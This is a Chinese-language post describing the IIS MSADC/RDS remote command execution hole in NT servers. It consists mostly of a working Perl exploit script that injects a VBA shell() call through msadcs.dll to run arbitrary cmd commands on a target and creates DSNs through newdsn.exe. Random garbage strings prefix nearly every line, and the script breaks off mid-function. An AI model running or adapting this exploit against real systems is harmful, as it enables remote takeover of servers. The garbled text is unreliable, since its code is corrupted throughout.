IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9&'HhJm ]I(<hDuRp 涉及程序:
)q>q]eHz Microsoft NT server
{@
Z%6%'9 Aw=GvCo< 描述:
JjnWv7W3$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Sj@VOW <Eh_ 详细:
}/}eZCaG 如果你没有时间读详细内容的话,就删除:
pU[5f5_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
QR h %S{ 有关的安全问题就没有了。
YguY5z ?5rM'O2 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
tJ Mm ;BW9SqlN 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.pPtBqp 关于利用ODBC远程漏洞的描述,请参看:
4[n[Ch=lu )*Rr5l /l http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _!^2A3c< ~A,(D- 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
cb%ML1c http://www.microsoft.com/security/bulletins/MS99-025faq.asp
c->?'h23) \x=!' 这里不再论述。
tW"s^r=95 z9ZS&=> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
pzcof#2 DUyUA'*4n| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#-K,," 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
*DPKV$ oE$zOS&2 smat6p[ #将下面这段保存为txt文件,然后: "perl -x 文件名"
#gRtCoew 0<42\ya #!perl
t[X,m]SX #
%p
tw=Ju # MSADC/RDS 'usage' (aka exploit) script
R6qC0@* #
1'SpJL1u~ # by rain.forest.puppy
%oiA'hz;* #
L?r\J8Ch< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
G[\3)@I # beta test and find errors!
<M M(Z ?tf<AZ=+^L use Socket; use Getopt::Std;
{z7kW@c getopts("e:vd:h:XR", \%args);
9~yp=JOV@ ?oQAxb& print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^LAdN8Cbb T*zy^we if (!defined $args{h} && !defined $args{R}) {
jQY^[A print qq~
bXK$H=S Bz Usage: msadc.pl -h <host> { -d <delay> -X -v }
m,#Us -h <host> = host you want to scan (ip or domain)
b~Oc: -d <seconds> = delay between calls, default 1 second
wPH1g*U -X = dump Index Server path table, if available
& 6~AY:0r -v = verbose
<77v8=as5 -e = external dictionary file for step 5
:hUt7/3c }7Y@u@R Or a -R will resume a command session
81Ityd-} hdurT ~; exit;}
7.7Z|lJ x).`nZ1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
y<n<uZ; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
zq4)Uab* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
k"J=CDP\ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yMBFw:/o $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
#{|F2AM if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z)&GF$* r_e]sOCb if (!defined $args{R}){ $ret = &has_msadc;
H"%SzU die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Mgc|># = @BS7Gyw print "Please type the NT commandline you want to run (cmd /c assumed):\n"
C_
(s . "cmd /c ";
+u'y!@VV $in=<STDIN>; chomp $in;
Xsv^GmP+ $command="cmd /c " . $in ;
>d#Ks0\& \>(S?)6 if (defined $args{R}) {&load; exit;}
\%/zf -'Y@yIb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
4-{f$Z@ &try_btcustmr;
L+d4&x e?eX9yA7F print "\nStep 2: Trying to make our own DSN...";
:H`Z.>K &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bAm ,gP !nyUAZ9 : print "\nStep 3: Trying known DSNs...";
C9}m-N &known_dsn;
AcxC$uh e6igx print "\nStep 4: Trying known .mdbs...";
Hp?uYih0 &known_mdb;
oEnCe )Qx&m} if (defined $args{e}){
Z*Jp?[## print "\nStep 5: Trying dictionary of DSN names...";
8n Oent0a &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ik Pm,ZN yZDS>7H print "Sorry Charley...maybe next time?\n";
GJIM^ exit;
#Yr/GNN o5|P5h ##############################################################################
?q+^U>wy& u[2B0a sub sendraw { # ripped and modded from whisker
p:q?8+W-r sleep($delay); # it's a DoS on the server! At least on mine...
{[Vkht} my ($pstr)=@_;
[^GXHE= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VN!+r7w' die("Socket problems\n");
Af{K#R8! if(connect(S,pack "SnA4x8",2,80,$target)){
|FrZ,(\ select(S); $|=1;
!w-`:d? print $pstr; my @in=<S>;
hhynB^o select(STDOUT); close(S);
-Rz%<` return @in;
R2!_)Rpf } else { die("Can't connect...\n"); }}
0-a[[hL? #K_E/~ ##############################################################################
p{k^)5CR/ " .:b43Z sub make_header { # make the HTTP request
}m0hq+p^ my $msadc=<<EOT
_
BUD~'Q5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
yQM<(;\O User-Agent: ACTIVEDATA
9#A&Qvyywg Host: $ip
KOM]7%ys1H Content-Length: $clen
bTN0 n Connection: Keep-Alive
:UdH}u!Ek x9{&rldC ADCClientVersion:01.06
GVlTW?5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Xs7xZ$ iS%md --!ADM!ROX!YOUR!WORLD!
~\~K,v Content-Type: application/x-varg
KJ&~z? X Content-Length: $reqlen
;^`WX}]C( 8rwXbYx
x EOT
~GZpAPg* ; $msadc=~s/\n/\r\n/g;
G8E=E<Yg~ return $msadc;}
:P1/kYg >'GQB ##############################################################################
uk)6% ?c!W*`yP sub make_req { # make the RDS request
hd E? %A my ($switch, $p1, $p2)=@_;
+W-,74A my $req=""; my $t1, $t2, $query, $dsn;
iig ({b {F~:86z(g if ($switch==1){ # this is the btcustmr.mdb query
L% cr `<~ $query="Select * from Customers where City=" . make_shell();
b=-LQkcZhK $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Rw9 *!<Izt $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
x\m?* 5p XK 09x1r elsif ($switch==2){ # this is general make table query
N=X(G( $query="create table AZZ (B int, C varchar(10))";
\X?GzQkr $dsn="$p1";}
qr~=S `mfN3Q*[c elsif ($switch==3){ # this is general exploit table query
aAX(M=3 $query="select * from AZZ where C=" . make_shell();
#*|0WaC $dsn="$p1";}
(VxWa#P p*^[
~} N elsif ($switch==4){ # attempt to hork file info from index server
s{]2~Z^2od $query="select path from scope()";
=p
lG9 $dsn="Provider=MSIDXS;";}
Z}
8m]I ~!Q\\_ elsif ($switch==5){ # bad query
h'_@ $query="select";
X+*"FKm S. $dsn="$p1";}
pzPm(M1^X /` j~r;S $t1= make_unicode($query);
u9 yXHf $t2= make_unicode($dsn);
)G">7cg;t $req = "\x02\x00\x03\x00";
I>jDM $req.= "\x08\x00" . pack ("S1", length($t1));
sP+ZE>7 $req.= "\x00\x00" . $t1 ;
#el i_Cxe $req.= "\x08\x00" . pack ("S1", length($t2));
nd 5w|83 $req.= "\x00\x00" . $t2 ;
mJ3|UClPS $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
h 'F\9t return $req;}
w53+k\. Cy~Pfty ##############################################################################
Ao:<aX,= NzP5s&,C69 sub make_shell { # this makes the shell() statement
q-;z!iq|! return "'|shell(\"$command\")|'";}
*:*Kdt`'G {'QA0K ##############################################################################
kdX]Afyj ;U^7]JO; sub make_unicode { # quick little function to convert to unicode
e uF@SS my ($in)=@_; my $out;
}4; \sY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
A{!D7kwTz~ return $out;}
Yzr|Z7rq} `V;vvHP A ##############################################################################
tw`{\kWG A;4O,p@ sub rdo_success { # checks for RDO return success (this is kludge)
^@&RJa-kb my (@in) = @_; my $base=content_start(@in);
oA _,jsD4 if($in[$base]=~/multipart\/mixed/){
%e@Jc3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B[]v[q< return 0;}
dz6i~& /kAu&} ##############################################################################
22|a~"Z FE`:1 sub make_dsn { # this makes a DSN for us
V=@M!;'< my @drives=("c","d","e","f");
jtMN )TM print "\nMaking DSN: ";
~[por foreach $drive (@drives) {
pm*6&, print "$drive: ";
bOi`JJ^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
azj:Hru&t# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
m|RA@sY%` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
gZFtV $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
-L&FguoVB return 0 if $2 eq "404"; # not found/doesn't exist
kO]],Vy` if($2 eq "200") {
7,sslf2%K foreach $line (@results) {
`[.':"~2N return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
QT5,_+ho } return 0;}
M-Az2x;6 S}=euY'i ##############################################################################
Tn~b#-0 *E Z'S+wR sub verify_exists {
Z|FWQ8gZ4m my ($page)=@_;
p~T)Af<(
my @results=sendraw("GET $page HTTP/1.0\n\n");
^_5Nh^ return $results[0];}
| %Dh PKT/U^2X] ##############################################################################
5z8!Nmb/ ![wV}.} sub try_btcustmr {
>g+ogwZ my @drives=("c","d","e","f");
g,5r)FU` my @dirs=("winnt","winnt35","winnt351","win","windows");
`YDe<@6' xZ*.@Pkr foreach $dir (@dirs) {
>f [Lb|t print "$dir -> "; # fun status so you can see progress
1!@KRV foreach $drive (@drives) {
!+?,y/*5( print "$drive: "; # ditto
AwhXCq|k $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.c[v /SB] $reqlenlen=length( "$reqlen" );
PKoB~wLH $clen= 206 + $reqlenlen + $reqlen;
&></l| hY A9_)} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
;:nO5VFOg if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
TSQ/{=r else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
FK
MuRy| kKV`9&dZe ##############################################################################
OY'490 4s?x 8oAy sub odbc_error {
69U[kW& my (@in)=@_; my $base;
p{knQ], my $base = content_start(@in);
-kp!.c if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
DwXzmp[qWH $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i-(^t1c $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"o
+" Jd $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
VU1;ZJE return $in[$base+4].$in[$base+5].$in[$base+6];}
>&K1+FSmyJ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i^[yGXtW print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$V$|"KRcs $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Sri,sZv s6k,'`. ##############################################################################
\de824 BJgg-z{Y sub verbose {
|fXwH> 'sw my ($in)=@_;
>gAq/'.Q return if !$verbose;
F&r+"O)^-R print STDOUT "\n$in\n";}
s2t'jIB d($f8{~W ##############################################################################
S0V%JY;Gv ,nqG*
o sub save {
&j}\ZD my ($p1, $p2, $p3, $p4)=@_;
Las4ux[_ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
[TiOh' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2.=3:q!H<% close OUT;}
uJ<sa; dQ97O{O:i ##############################################################################
9Ny{2m=Ye GWZ0!V sub load {
V\8vJ3.YV my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&:g5+([<